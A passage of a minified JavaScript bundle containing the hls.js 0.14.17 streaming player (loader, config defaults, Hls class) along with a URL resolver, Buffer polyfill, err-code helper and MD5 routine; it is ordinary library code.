"+u),u>0&&(-1===d.autoLevelCapping||d.autoLevelCapping>=u)&&(u-=1,d.trigger(l.default.FPS_DROP_LEVEL_CAPPING,{level:u,droppedLevel:d.currentLevel}),d.autoLevelCapping=u,d.streamController.nextLevelSwitch())}}this.lastTime=i,this.lastDroppedFrames=r,this.lastDecodedFrames=t}},n.checkFPSInterval=function(){var e=this.video;if(e)if(this.isVideoPlaybackQualityAvailable){var t=e.getVideoPlaybackQuality();this.checkFPS(e,t.totalVideoFrames,t.droppedVideoFrames)}else this.checkFPS(e,e.webkitDecodedFrameCount,e.webkitDroppedFrameCount)},i}(c),He=function(){function e(e){e&&e.xhrSetup&&(this.xhrSetup=e.xhrSetup)}var t=e.prototype;return t.destroy=function(){this.abort(),this.loader=null},t.abort=function(){var e=this.loader;e&&4!==e.readyState&&(this.stats.aborted=!0,e.abort()),window.clearTimeout(this.requestTimeout),this.requestTimeout=null,window.clearTimeout(this.retryTimeout),this.retryTimeout=null},t.load=function(e,t,r){this.context=e,this.config=t,this.callbacks=r,this.stats={trequest:window.performance.now(),retry:0},this.retryDelay=t.retryDelay,this.loadInternal()},t.loadInternal=function(){var e,t=this.context;e=this.loader=new window.XMLHttpRequest;var r=this.stats;r.tfirst=0,r.loaded=0;var i=this.xhrSetup;try{if(i)try{i(e,t.url)}catch(r){e.open("GET",t.url,!0),i(e,t.url)}e.readyState||e.open("GET",t.url,!0)}catch(r){return void this.callbacks.onError({code:e.status,text:r.message},t,e)}t.rangeEnd&&e.setRequestHeader("Range","bytes="+t.rangeStart+"-"+(t.rangeEnd-1)),e.onreadystatechange=this.readystatechange.bind(this),e.onprogress=this.loadprogress.bind(this),e.responseType=t.responseType,this.requestTimeout=window.setTimeout(this.loadtimeout.bind(this),this.config.timeout),e.send()},t.readystatechange=function(e){var t=e.currentTarget,r=t.readyState,i=this.stats,n=this.context,s=this.config;if(!i.aborted&&r>=2)if(window.clearTimeout(this.requestTimeout),0===i.tfirst&&(i.tfirst=Math.max(window.performance.now(),i.trequest)),4===r){var a=t.status;if(a>=200&&a<300){var o,l;i.tload=Math.max(i.tfirst,window.performance.now()),l="arraybuffer"===n.responseType?(o=t.response).byteLength:(o=t.responseText).length,i.loaded=i.total=l;var d={url:t.responseURL,data:o};this.callbacks.onSuccess(d,i,n,t)}else i.retry>=s.maxRetry||a>=400&&a<499?(h.logger.error(a+" while loading "+n.url),this.callbacks.onError({code:a,text:t.statusText},n,t)):(h.logger.warn(a+" while loading "+n.url+", retrying in "+this.retryDelay+"..."),this.destroy(),this.retryTimeout=window.setTimeout(this.loadInternal.bind(this),this.retryDelay),this.retryDelay=Math.min(2*this.retryDelay,s.maxRetryDelay),i.retry++)}else this.requestTimeout=window.setTimeout(this.loadtimeout.bind(this),s.timeout)},t.loadtimeout=function(){h.logger.warn("timeout while loading "+this.context.url),this.callbacks.onTimeout(this.stats,this.context,null)},t.loadprogress=function(e){var t=e.currentTarget,r=this.stats;r.loaded=e.loaded,e.lengthComputable&&(r.total=e.total);var i=this.callbacks.onProgress;i&&i(r,this.context,null,t)},e}(),qe=r("./src/empty.js");function We(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,i)}return r}function Ve(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?We(Object(r),!0).forEach((function(t){ze(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):We(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function ze(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}!function(e){e.WIDEVINE="com.widevine.alpha",e.PLAYREADY="com.microsoft.playready"}(Ue||(Ue={}));var Ke=Ve(Ve({autoStartLoad:!0,startPosition:-1,defaultAudioCodec:void 0,debug:!1,capLevelOnFPSDrop:!1,capLevelToPlayerSize:!1,initialLiveManifestSize:1,maxBufferLength:30,maxBufferSize:6e7,maxBufferHole:.5,lowBufferWatchdogPeriod:.5,highBufferWatchdogPeriod:3,nudgeOffset:.1,nudgeMaxRetry:3,maxFragLookUpTolerance:.25,liveSyncDurationCount:3,liveMaxLatencyDurationCount:1/0,liveSyncDuration:void 0,liveMaxLatencyDuration:void 0,liveDurationInfinity:!1,liveBackBufferLength:1/0,maxMaxBufferLength:600,enableWorker:!0,enableSoftwareAES:!0,manifestLoadingTimeOut:1e4,manifestLoadingMaxRetry:1,manifestLoadingRetryDelay:1e3,manifestLoadingMaxRetryTimeout:64e3,startLevel:void 0,levelLoadingTimeOut:1e4,levelLoadingMaxRetry:4,levelLoadingRetryDelay:1e3,levelLoadingMaxRetryTimeout:64e3,fragLoadingTimeOut:2e4,fragLoadingMaxRetry:6,fragLoadingRetryDelay:1e3,fragLoadingMaxRetryTimeout:64e3,startFragPrefetch:!1,fpsDroppedMonitoringPeriod:5e3,fpsDroppedMonitoringThreshold:.2,appendErrorMaxRetry:3,loader:He,fLoader:void 0,pLoader:void 0,xhrSetup:void 0,licenseXhrSetup:void 0,abrController:ke,bufferController:Fe,capLevelController:Ge,fpsController:$e,stretchShortVideoTrack:!1,maxAudioFramesDrift:1,forceKeyFrameOnDiscontinuity:!0,abrEwmaFastLive:3,abrEwmaSlowLive:9,abrEwmaFastVoD:3,abrEwmaSlowVoD:9,abrEwmaDefaultEstimate:5e5,abrBandWidthFactor:.95,abrBandWidthUpFactor:.7,abrMaxWithRealBitrate:!1,maxStarvationDelay:4,maxLoadingDelay:4,minAutoBitrate:0,emeEnabled:!1,widevineLicenseUrl:void 0,drmSystemOptions:{},requestMediaKeySystemAccessFunc:"undefined"!=typeof window&&window.navigator&&window.navigator.requestMediaKeySystemAccess?window.navigator.requestMediaKeySystemAccess.bind(window.navigator):null,testBandwidth:!0},{cueHandler:qe,enableCEA708Captions:!1,enableWebVTT:!1,captionsTextTrack1Label:"English",captionsTextTrack1LanguageCode:"en",captionsTextTrack2Label:"Spanish",captionsTextTrack2LanguageCode:"es",captionsTextTrack3Label:"Unknown CC",captionsTextTrack3LanguageCode:"",captionsTextTrack4Label:"Unknown CC",captionsTextTrack4LanguageCode:"",renderTextTracksNatively:!0}),{},{subtitleStreamController:void 0,subtitleTrackController:void 0,timelineController:void 0,audioStreamController:void 0,audioTrackController:void 0,emeController:void 0});function Xe(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);t&&(i=i.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,i)}return r}function Ye(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?Xe(Object(r),!0).forEach((function(t){Je(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Xe(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function Je(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function Qe(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Ze(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function et(e,t,r){return t&&Ze(e.prototype,t),r&&Ze(e,r),e}var tt=function(e){var t,r;function i(t){var r;void 0===t&&(t={}),(r=e.call(this)||this).config=void 0,r._autoLevelCapping=void 0,r.abrController=void 0,r.capLevelController=void 0,r.levelController=void 0,r.streamController=void 0,r.networkControllers=void 0,r.audioTrackController=void 0,r.subtitleTrackController=void 0,r.emeController=void 0,r.coreComponents=void 0,r.media=null,r.url=null;var n=i.DefaultConfig;if((t.liveSyncDurationCount||t.liveMaxLatencyDurationCount)&&(t.liveSyncDuration||t.liveMaxLatencyDuration))throw new Error("Illegal hls.js config: don't mix up liveSyncDurationCount/liveMaxLatencyDurationCount and liveSyncDuration/liveMaxLatencyDuration");r.config=Ye(Ye({},n),t);var s=Qe(r).config;if(void 0!==s.liveMaxLatencyDurationCount&&s.liveMaxLatencyDurationCount<=s.liveSyncDurationCount)throw new Error('Illegal hls.js config: "liveMaxLatencyDurationCount" must be gt "liveSyncDurationCount"');if(void 0!==s.liveMaxLatencyDuration&&(void 0===s.liveSyncDuration||s.liveMaxLatencyDuration<=s.liveSyncDuration))throw new Error('Illegal hls.js config: "liveMaxLatencyDuration" must be gt "liveSyncDuration"');Object(h.enableLogs)(s.debug),r._autoLevelCapping=-1;var a=r.abrController=new s.abrController(Qe(r)),o=new s.bufferController(Qe(r)),l=r.capLevelController=new s.capLevelController(Qe(r)),d=new s.fpsController(Qe(r)),u=new M(Qe(r)),c=new k(Qe(r)),f=new N(Qe(r)),g=new De(Qe(r)),p=r.levelController=new Le(Qe(r)),m=new j(Qe(r)),v=[p,r.streamController=new Ae(Qe(r),m)],_=s.audioStreamController;_&&v.push(new _(Qe(r),m)),r.networkControllers=v;var y=[u,c,f,a,o,l,d,g,m];if(_=s.audioTrackController){var E=new _(Qe(r));r.audioTrackController=E,y.push(E)}if(_=s.subtitleTrackController){var S=new _(Qe(r));r.subtitleTrackController=S,v.push(S)}if(_=s.emeController){var b=new _(Qe(r));r.emeController=b,y.push(b)}return(_=s.subtitleStreamController)&&v.push(new _(Qe(r),m)),(_=s.timelineController)&&y.push(new _(Qe(r))),r.coreComponents=y,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,i.isSupported=function(){return function(){var e=z();if(!e)return!1;var t=self.SourceBuffer||self.WebKitSourceBuffer,r=e&&"function"==typeof e.isTypeSupported&&e.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"'),i=!t||t.prototype&&"function"==typeof t.prototype.appendBuffer&&"function"==typeof t.prototype.remove;return!!r&&!!i}()},et(i,null,[{key:"version",get:function(){return"0.14.17"}},{key:"Events",get:function(){return l.default}},{key:"ErrorTypes",get:function(){return a.ErrorTypes}},{key:"ErrorDetails",get:function(){return a.ErrorDetails}},{key:"DefaultConfig",get:function(){return i.defaultConfig?i.defaultConfig:Ke},set:function(e){i.defaultConfig=e}}]);var n=i.prototype;return n.destroy=function(){h.logger.log("destroy"),this.trigger(l.default.DESTROYING),this.detachMedia(),this.coreComponents.concat(this.networkControllers).forEach((function(e){e.destroy()})),this.url=null,this.removeAllListeners(),this._autoLevelCapping=-1},n.attachMedia=function(e){h.logger.log("attachMedia"),this.media=e,this.trigger(l.default.MEDIA_ATTACHING,{media:e})},n.detachMedia=function(){h.logger.log("detachMedia"),this.trigger(l.default.MEDIA_DETACHING),this.media=null},n.loadSource=function(e){e=s.buildAbsoluteURL(window.location.href,e,{alwaysNormalize:!0}),h.logger.log("loadSource:"+e),this.url=e,this.trigger(l.default.MANIFEST_LOADING,{url:e})},n.startLoad=function(e){void 0===e&&(e=-1),h.logger.log("startLoad("+e+")"),this.networkControllers.forEach((function(t){t.startLoad(e)}))},n.stopLoad=function(){h.logger.log("stopLoad"),this.networkControllers.forEach((function(e){e.stopLoad()}))},n.swapAudioCodec=function(){h.logger.log("swapAudioCodec"),this.streamController.swapAudioCodec()},n.recoverMediaError=function(){h.logger.log("recoverMediaError");var e=this.media;this.detachMedia(),e&&this.attachMedia(e)},n.removeLevel=function(e,t){void 0===t&&(t=0),this.levelController.removeLevel(e,t)},et(i,[{key:"levels",get:function(){return this.levelController.levels}},{key:"currentLevel",get:function(){return this.streamController.currentLevel},set:function(e){h.logger.log("set currentLevel:"+e),this.loadLevel=e,this.streamController.immediateLevelSwitch()}},{key:"nextLevel",get:function(){return this.streamController.nextLevel},set:function(e){h.logger.log("set nextLevel:"+e),this.levelController.manualLevel=e,this.streamController.nextLevelSwitch()}},{key:"loadLevel",get:function(){return this.levelController.level},set:function(e){h.logger.log("set loadLevel:"+e),this.levelController.manualLevel=e}},{key:"nextLoadLevel",get:function(){return this.levelController.nextLoadLevel},set:function(e){this.levelController.nextLoadLevel=e}},{key:"firstLevel",get:function(){return Math.max(this.levelController.firstLevel,this.minAutoLevel)},set:function(e){h.logger.log("set firstLevel:"+e),this.levelController.firstLevel=e}},{key:"startLevel",get:function(){return this.levelController.startLevel},set:function(e){h.logger.log("set startLevel:"+e),-1!==e&&(e=Math.max(e,this.minAutoLevel)),this.levelController.startLevel=e}},{key:"capLevelToPlayerSize",set:function(e){var t=!!e;t!==this.config.capLevelToPlayerSize&&(t?this.capLevelController.startCapping():(this.capLevelController.stopCapping(),this.autoLevelCapping=-1,this.streamController.nextLevelSwitch()),this.config.capLevelToPlayerSize=t)}},{key:"autoLevelCapping",get:function(){return this._autoLevelCapping},set:function(e){h.logger.log("set autoLevelCapping:"+e),this._autoLevelCapping=e}},{key:"bandwidthEstimate",get:function(){var e=this.abrController._bwEstimator;return e?e.getEstimate():NaN}},{key:"autoLevelEnabled",get:function(){return-1===this.levelController.manualLevel}},{key:"manualLevel",get:function(){return this.levelController.manualLevel}},{key:"minAutoLevel",get:function(){for(var e=this.levels,t=this.config.minAutoBitrate,r=e?e.length:0,i=0;i<r;i++)if((e[i].realBitrate?Math.max(e[i].realBitrate,e[i].bitrate):e[i].bitrate)>t)return i;return 0}},{key:"maxAutoLevel",get:function(){var e=this.levels,t=this.autoLevelCapping;return-1===t&&e&&e.length?e.length-1:t}},{key:"nextAutoLevel",get:function(){return Math.min(Math.max(this.abrController.nextAutoLevel,this.minAutoLevel),this.maxAutoLevel)},set:function(e){this.abrController.nextAutoLevel=Math.max(this.minAutoLevel,e)}},{key:"audioTracks",get:function(){var e=this.audioTrackController;return e?e.audioTracks:[]}},{key:"audioTrack",get:function(){var e=this.audioTrackController;return e?e.audioTrack:-1},set:function(e){var t=this.audioTrackController;t&&(t.audioTrack=e)}},{key:"liveSyncPosition",get:function(){return this.streamController.liveSyncPosition}},{key:"subtitleTracks",get:function(){var e=this.subtitleTrackController;return e?e.subtitleTracks:[]}},{key:"subtitleTrack",get:function(){var e=this.subtitleTrackController;return e?e.subtitleTrack:-1},set:function(e){var t=this.subtitleTrackController;t&&(t.subtitleTrack=e)}},{key:"subtitleDisplay",get:function(){var e=this.subtitleTrackController;return!!e&&e.subtitleDisplay},set:function(e){var t=this.subtitleTrackController;t&&(t.subtitleDisplay=e)}}]),i}(X);tt.defaultConfig=void 0},"./src/polyfills/number.js":function(e,t,r){"use strict";r.r(t),r.d(t,"isFiniteNumber",(function(){return i})),r.d(t,"MAX_SAFE_INTEGER",(function(){return n}));var i=Number.isFinite||function(e){return"number"==typeof e&&isFinite(e)},n=Number.MAX_SAFE_INTEGER||9007199254740991},"./src/utils/get-self-scope.js":function(e,t,r){"use strict";function i(){return"undefined"==typeof window?self:window}r.r(t),r.d(t,"getSelfScope",(function(){return i}))},"./src/utils/logger.js":function(e,t,r){"use strict";r.r(t),r.d(t,"enableLogs",(function(){return d})),r.d(t,"logger",(function(){return u}));var i=r("./src/utils/get-self-scope.js");function n(){}var s={trace:n,debug:n,log:n,warn:n,info:n,error:n},a=s;function o(e,t){return t="["+e+"] > "+t}var l=Object(i.getSelfScope)();function h(e){var t=l.console[e];return t?function(){for(var r=arguments.length,i=new Array(r),n=0;n<r;n++)i[n]=arguments[n];i[0]&&(i[0]=o(e,i[0])),t.apply(l.console,i)}:n}var d=function(e){if(l.console&&!0===e||"object"==typeof e){!function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];r.forEach((function(t){a[t]=e[t]?e[t].bind(e):h(t)}))}(e,"debug","log","info","warn","error");try{a.log()}catch(e){a=s}}else a=s},u=a}}).default},e.exports=t())},622:function(e){var t,r,i,n,s;t=/^(?=((?:[a-zA-Z0-9+\-.]+:)?))\1(?=((?:\/\/[^\/?#]*)?))\2(?=((?:(?:[^?#\/]*\/)*[^;?#\/]*)?))\3((?:;[^?#]*)?)(\?[^#]*)?(#[^]*)?$/,r=/^(?=([^\/?#]*))\1([^]*)$/,i=/(?:\/|^)\.(?=\/)/g,n=/(?:\/|^)\.\.\/(?!\.\.\/)[^\/]*(?=\/)/g,s={buildAbsoluteURL:function(e,t,i){if(i=i||{},e=e.trim(),!(t=t.trim())){if(!i.alwaysNormalize)return e;var n=s.parseURL(e);if(!n)throw new Error("Error trying to parse base URL.");return n.path=s.normalizePath(n.path),s.buildURLFromParts(n)}var a=s.parseURL(t);if(!a)throw new Error("Error trying to parse relative URL.");if(a.scheme)return i.alwaysNormalize?(a.path=s.normalizePath(a.path),s.buildURLFromParts(a)):t;var o=s.parseURL(e);if(!o)throw new Error("Error trying to parse base URL.");if(!o.netLoc&&o.path&&"/"!==o.path[0]){var l=r.exec(o.path);o.netLoc=l[1],o.path=l[2]}o.netLoc&&!o.path&&(o.path="/");var h={scheme:o.scheme,netLoc:a.netLoc,path:null,params:a.params,query:a.query,fragment:a.fragment};if(!a.netLoc&&(h.netLoc=o.netLoc,"/"!==a.path[0]))if(a.path){var d=o.path,u=d.substring(0,d.lastIndexOf("/")+1)+a.path;h.path=s.normalizePath(u)}else h.path=o.path,a.params||(h.params=o.params,a.query||(h.query=o.query));return null===h.path&&(h.path=i.alwaysNormalize?s.normalizePath(a.path):a.path),s.buildURLFromParts(h)},parseURL:function(e){var r=t.exec(e);return r?{scheme:r[1]||"",netLoc:r[2]||"",path:r[3]||"",params:r[4]||"",query:r[5]||"",fragment:r[6]||""}:null},normalizePath:function(e){for(e=e.split("").reverse().join("").replace(i,"");e.length!==(e=e.replace(n,"")).length;);return e.split("").reverse().join("")},buildURLFromParts:function(e){return e.scheme+e.netLoc+e.path+e.params+e.query+e.fragment}},e.exports=s},47:(e,t)=>{"use strict";t.l=n;var r=2147483647;function i(e){if(e>r)throw new RangeError('The value "'+e+'" is invalid for option "size"');var t=new Uint8Array(e);return t.__proto__=n.prototype,t}function n(e,t,r){if("number"==typeof e){if("string"==typeof t)throw new TypeError('The "string" argument must be of type string. Received type number');return o(e)}return s(e,t,r)}function s(e,t,r){if("string"==typeof e)return function(e,t){"string"==typeof t&&""!==t||(t="utf8");if(!n.isEncoding(t))throw new TypeError("Unknown encoding: "+t);var r=0|d(e,t),s=i(r),a=s.write(e,t);a!==r&&(s=s.slice(0,a));return s}(e,t);if(ArrayBuffer.isView(e))return l(e);if(null==e)throw TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e);if(c(e,ArrayBuffer)||e&&c(e.buffer,ArrayBuffer))return function(e,t,r){if(t<0||e.byteLength<t)throw new RangeError('"offset" is outside of buffer bounds');if(e.byteLength<t+(r||0))throw new RangeError('"length" is outside of buffer bounds');var i;i=void 0===t&&void 0===r?new Uint8Array(e):void 0===r?new Uint8Array(e,t):new Uint8Array(e,t,r);return i.__proto__=n.prototype,i}(e,t,r);if("number"==typeof e)throw new TypeError('The "value" argument must not be of type number. Received type number');var s=e.valueOf&&e.valueOf();if(null!=s&&s!==e)return n.from(s,t,r);var a=function(e){if(n.isBuffer(e)){var t=0|h(e.length),r=i(t);return 0===r.length||e.copy(r,0,0,t),r}if(void 0!==e.length)return"number"!=typeof e.length||function(e){return e!=e}(e.length)?i(0):l(e);if("Buffer"===e.type&&Array.isArray(e.data))return l(e.data)}(e);if(a)return a;if("undefined"!=typeof Symbol&&null!=Symbol.toPrimitive&&"function"==typeof e[Symbol.toPrimitive])return n.from(e[Symbol.toPrimitive]("string"),t,r);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e)}function a(e){if("number"!=typeof e)throw new TypeError('"size" argument must be of type number');if(e<0)throw new RangeError('The value "'+e+'" is invalid for option "size"')}function o(e){return a(e),i(e<0?0:0|h(e))}function l(e){for(var t=e.length<0?0:0|h(e.length),r=i(t),n=0;n<t;n+=1)r[n]=255&e[n];return r}function h(e){if(e>=r)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+r.toString(16)+" bytes");return 0|e}function d(e,t){if(n.isBuffer(e))return e.length;if(ArrayBuffer.isView(e)||c(e,ArrayBuffer))return e.byteLength;if("string"!=typeof e)throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof e);var r=e.length,i=arguments.length>2&&!0===arguments[2];if(!i&&0===r)return 0;for(var s=!1;;)switch(t){case"ascii":case"latin1":case"binary":return r;case"utf8":case"utf-8":return u(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*r;case"hex":return r>>>1;default:if(s)return i?-1:u(e).length;t=(""+t).toLowerCase(),s=!0}}function u(e,t){var r;t=t||1/0;for(var i=e.length,n=null,s=[],a=0;a<i;++a){if((r=e.charCodeAt(a))>55295&&r<57344){if(!n){if(r>56319){(t-=3)>-1&&s.push(239,191,189);continue}if(a+1===i){(t-=3)>-1&&s.push(239,191,189);continue}n=r;continue}if(r<56320){(t-=3)>-1&&s.push(239,191,189),n=r;continue}r=65536+(n-55296<<10|r-56320)}else n&&(t-=3)>-1&&s.push(239,191,189);if(n=null,r<128){if((t-=1)<0)break;s.push(r)}else if(r<2048){if((t-=2)<0)break;s.push(r>>6|192,63&r|128)}else if(r<65536){if((t-=3)<0)break;s.push(r>>12|224,r>>6&63|128,63&r|128)}else{if(!(r<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;s.push(r>>18|240,r>>12&63|128,r>>6&63|128,63&r|128)}}return s}function c(e,t){return e instanceof t||null!=e&&null!=e.constructor&&null!=e.constructor.name&&e.constructor.name===t.name}"undefined"!=typeof Symbol&&null!=Symbol.species&&n[Symbol.species]===n&&Object.defineProperty(n,Symbol.species,{value:null,configurable:!0,enumerable:!1,writable:!1}),n.from=function(e,t,r){return s(e,t,r)},n.prototype.__proto__=Uint8Array.prototype,n.__proto__=Uint8Array,n.alloc=function(e,t,r){return function(e,t,r){return a(e),e<=0?i(e):void 0!==t?"string"==typeof r?i(e).fill(t,r):i(e).fill(t):i(e)}(e,t,r)},n.allocUnsafe=function(e){return o(e)},n.isBuffer=function(e){return null!=e&&!0===e._isBuffer&&e!==n.prototype},n.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},n.concat=function(e,t){if(!Array.isArray(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return n.alloc(0);var r;if(void 0===t)for(t=0,r=0;r<e.length;++r)t+=e[r].length;var i=n.allocUnsafe(t),s=0;for(r=0;r<e.length;++r){var a=e[r];if(c(a,Uint8Array)&&(a=n.from(a)),!n.isBuffer(a))throw new TypeError('"list" argument must be an Array of Buffers');a.copy(i,s),s+=a.length}return i},n.byteLength=d,n.prototype._isBuffer=!0,n.prototype.copy=function(e,t,r,i){if(!n.isBuffer(e))throw new TypeError("argument should be a Buffer");if(r||(r=0),i||0===i||(i=this.length),t>=e.length&&(t=e.length),t||(t=0),i>0&&i<r&&(i=r),i===r)return 0;if(0===e.length||0===this.length)return 0;if(t<0)throw new RangeError("targetStart out of bounds");if(r<0||r>=this.length)throw new RangeError("Index out of range");if(i<0)throw new RangeError("sourceEnd out of bounds");i>this.length&&(i=this.length),e.length-t<i-r&&(i=e.length-t+r);var s=i-r;if(this===e&&"function"==typeof Uint8Array.prototype.copyWithin)this.copyWithin(t,r,i);else if(this===e&&r<t&&t<i)for(var a=s-1;a>=0;--a)e[a+t]=this[a+r];else Uint8Array.prototype.set.call(e,this.subarray(r,i),t);return s}},934:e=>{"use strict";function t(e,t){for(const r in t)Object.defineProperty(e,r,{value:t[r],enumerable:!0,configurable:!0});return e}e.exports=function(e,r,i){if(!e||"string"==typeof e)throw new TypeError("Please pass an Error to err-code");i||(i={}),"object"==typeof r&&(i=r,r=void 0),null!=r&&(i.code=r);try{return t(e,i)}catch(r){i.message=e.message,i.stack=e.stack;const n=function(){};return n.prototype=Object.create(Object.getPrototypeOf(e)),t(new n,i)}}},485:function(e,t,r){var i;!function(n){"use strict";function s(e,t){var r=(65535&e)+(65535&t);return(e>>16)+(t>>16)+(r>>16)<<16|65535&r}function a(e,t,r,i,n,a){return s((o=s(s(t,e),s(i,a)))<<(l=n)|o>>>32-l,r);var o,l}function o(e,t,r,i,n,s,o){return a(t&r|~t&i,e,t,n,s,o)}function l(e,t,r,i,n,s,o){return a(t&i|r&~i,e,t,n,s,o)}function h(e,t,r,i,n,s,o){return a(t^r^i,e,t,n,s,o)}function d(e,t,r,i,n,s,o){return a(r^(t|~i),e,t,n,s,o)}function u(e,t){var r,i,n,a,u;e[t>>5]|=128<<t%32,e[14+(t+64>>>9<<4)]=t;var c=1732584193,f=-271733879,g=-1732584194,p=271733878;for(r=0;r<e.length;r+=16)i=c,n=f,a=g,u=p,c=o(c,f,g,p,e[r],7,-680876936),p=o(p,c,f,g,e[r+1],12,-389564586),g=o(g,p,c,f,e[r+2],17,606105819),f=o(f,g,p,c,e[r+3],22,-1044525330),c=o(c,f,g,p,e[r+4],7,-176418897),p=o(p,c,f,g,e[r+5],12,1200080426),g=o(g,p,c,f,e[r+6],17,-1473231341),f=o(f,g,p,c,e[r+7],22,-45705983),c=o(c,f,g,p,e[r+8],7,1770035416),p=o(p,c,f,g,e[r+9],12,-1958414417),g=o(g,p,c,f,e[r+10],17,-42063),f=o(f,g,p,c,e[r+11],22,-1990404162),c=o(c,f,g,p,e[r+12],7,1804603682),p=o(p,c,f,g,e[r+13],12,-40341101),g=o(g,p,c,f,e[r+14],17,-1502002290),c=l(c,f=o(f,g,p,c,e[r+15],22,1236535329),g,p,e[r+1],5,-165796510),p=l(p,c,f,g,e[r+6],9,-1069501632),g=l(g,p,c,f,e[r+11],14,643717713),f=l(f,g,p,c,e[r],20,-373897302),c=l(c,f,g,p,e[r+5],5,-701558691),p=l(p,c,f,g,e[r+10],9,38016083),g=l(g,p,c,f,e[r+15],14,-660478335),f=l(f,g,p,c,e[r+4],20,-405537848),c=l(c,f,g,p,e[r+9],5,568446438),p=l(p,c,f,g,e[r+14],9,-1019803690),g=l(g,p,c,f,e[r+3],14,-187363961),f=l(f,g,p,c,e[r+8],20,1163531501),c=l(c,f,g,p,e[r+13],5,-1444681467),p=l(p,c,f,g,e[r+2],9,-51403784),g=l(g,p,c,f,e[r+7],14,1735328473),c=h(c,f=l(f,g,p,c,e[r+12],20,-1926607734),g,p,e[r+5],4,-378558),p=h(p,c,f,g,e[r+8],11,-2022574463),g=h(g,p,c,f,e[r+11],16,1839030562),f=h(f,g,p,c,e[r+14],23,-35309556),c=h(c,f,g,p,e[r+1],4,-1530992060),p=h(p,c,f,g,e[r+4],11,1272893353),g=h(g,p,c,f,e[r+7],16,-155497632),f=h(f,g,p,c,e[r+10],23,-1094730640),c=h(c,f,g,p,e[r+13],4,681279174),p=h(p,c,f,g,e[r],11,-358537222),g=h(g,p,c,f,e[r+3],16,-722521979),f=h(f,g,p,c,e[r+6],23,76029189),c=h(c,f,g,p,e[r+9],4,-640364487),p=h(p,c,f,g,e[r+12],11,-421815835),g=h(g,p,c,f,e[r+15],16,530742520),c=d(c,f=h(f,g,p,c,e[r+2],23,-995338651),g,p,e[r],6,-198630844),p=d(p,c,f,g,e[r+7],10,1126891415),g=d(g,p,c,f,e[r+14],15,-1416354905),f=d(f,g,p,c,e[r+5],21,-57434055),c=d(c,f,g,p,e[r+12],6,1700485571),p=d(p,c,f,g,e[r+3],10,-1894986606),g=d(g,p,c,f,e[r+10],15,-1051523),f=d(f,g,p,c,e[r+1],21,-2054922799),c=d(c,f,g,p,e[r+8],6,1873313359),p=d(p,c,f,g,e[r+15],10,-30611744),g=d(g,p,c,f,e[r+6],15,-1560198380),f=d(f,g,p,c,e[r+13],21,1309151649),c=d(c,f,g,p,e[r+4],6,-145523070),p=d(p,c,f,g,e[r+11],10,-1120210379),g=d(g,p,c,f,e[r+2],15,718787259),f=d(f,g,p,c,e[r+9],21,-343485551),c=s(c,i),f=s(f,n),g=s(g,a),p=s(p,u);return[c,f,g,p]}function c(e){var t,r="",i=32*e.length;for(t=0;t<i;t+=8)r+=String.fromCharCode(e[t>>5]>>>t%32&255);return r}function f(e){var t,r=[];for(r[(e.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var i=8*e.length;for(t=0;t<i;t+=8)r[t>>5]|=(255&e.charCodeAt(t/8))<<t%32;return r}function g(e){var t,r,i="0123456789abcdef",n="";for(r=0;r<e.length;r+=1)t=e.charCodeAt(r),n+=i.charAt(t>>>4&15)+i.charAt(15&t);return n}function p(e){return unescape(encodeURIComponent(e))}function m(e){return function(e){return c(u(f(e),8*e.length))}(p(e))}function v(e,t){return function(e,t){var r,i,n=f(e),s=[],a=[];for(s[15]=a[15]=void 0,n.length>16&&(n=u(n,8*e.length)),r=0;r<16;r+=1)s[r]=909522486^n[r],a[r]=1549556828^n[r];return i=u(s.concat(f(t)),512+8*t.length),c(u(a.concat(i),640))}(p(e),p(t))}function _(e,t,r){return t?r?v(t,e):g(v(t,e)):r?m(e):g(m(e))}void 0===(i=function(){return _}.call(t,r,t,e))||(e.exports=i)}()},422:e=>{const t={ANDROID_WEB:"android-web",IOS_WEB:"iOS-web",PC_NATIVE:"PC-native",PC_WEB:"PC-web"};var r={getNetType:function(){let e=(new 